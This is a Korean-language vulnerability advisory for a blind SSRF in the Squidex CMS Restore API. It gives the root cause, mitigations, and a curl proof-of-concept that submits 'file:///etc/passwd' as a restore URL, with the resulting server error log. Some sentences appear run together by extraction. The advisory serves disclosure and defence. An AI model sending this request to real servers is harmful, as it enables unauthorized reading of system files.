
CVE-2026-41177, Squidex CMS(v7.23.0 이전 버전)의 블라인드 SSRF 취약점입니다. 근본 원인 분석, 재현 단계, 로컬 파일 상호작용(LFI)과 관련된 영향 평가를 포함합니다.
CVE-2026-41177에 대한 기술 연구 및 분석: Squidex CMS 복원(Restore) API의 블라인드 서버 측 요청 위조(SSRF) 취약점.
/api/apps/restore)Squidex 복원(Restore) API는 블라인드 서버 측 요청 위조(SSRF)에 취약합니다. 애플리케이션은 사용자가 제공한 Url 매개변수의 URI 스킴을 검증하지 못하여 file:// 프로토콜 사용을 허용합니다. 이를 통해 인증된 관리자는 백엔드 서버가 로컬 파일 시스템과 상호 작용하도록 강제할 수 있으며, 이는 로컬 파일 상호 작용(LFI) 및 내부 로그의 부수 채널 분석을 통한 민감한 시스템 정보의 잠재적 노출로 이어집니다.
file:///etc/passwd)를 사용하여 "복원(Restore)" 작업을 생성합니다.RestoreJob204 No Content이지만, 내부 서버 로그에는 콘텐츠가 유효한 ZIP 아카이브가 아니어서 실패하기 전에 서버가 파일을 성공적으로 열고 읽었음이 드러납니다.다음 curl 명령을 실행합니다(<TOKEN>을 유효한 관리자 토큰으로 교체):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Squidex 컨테이너 로그의 다음 오류는 내부 파일 상호 작용을 확인합니다:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
참고: InvalidDataException은 서버가 파일의 바이트에 성공적으로 접근하고 읽었음을 확인합니다.
이 취약점은 인증된 공격자가 다음을 수행할 수 있게 합니다:
appsettings.json, 비밀)의 존재를 확인합니다.http:// 및 https:// 스킴만 엄격하게 허용합니다.file:// 스킴을 사용하는 URI를 거부하는 검사를 구현합니다.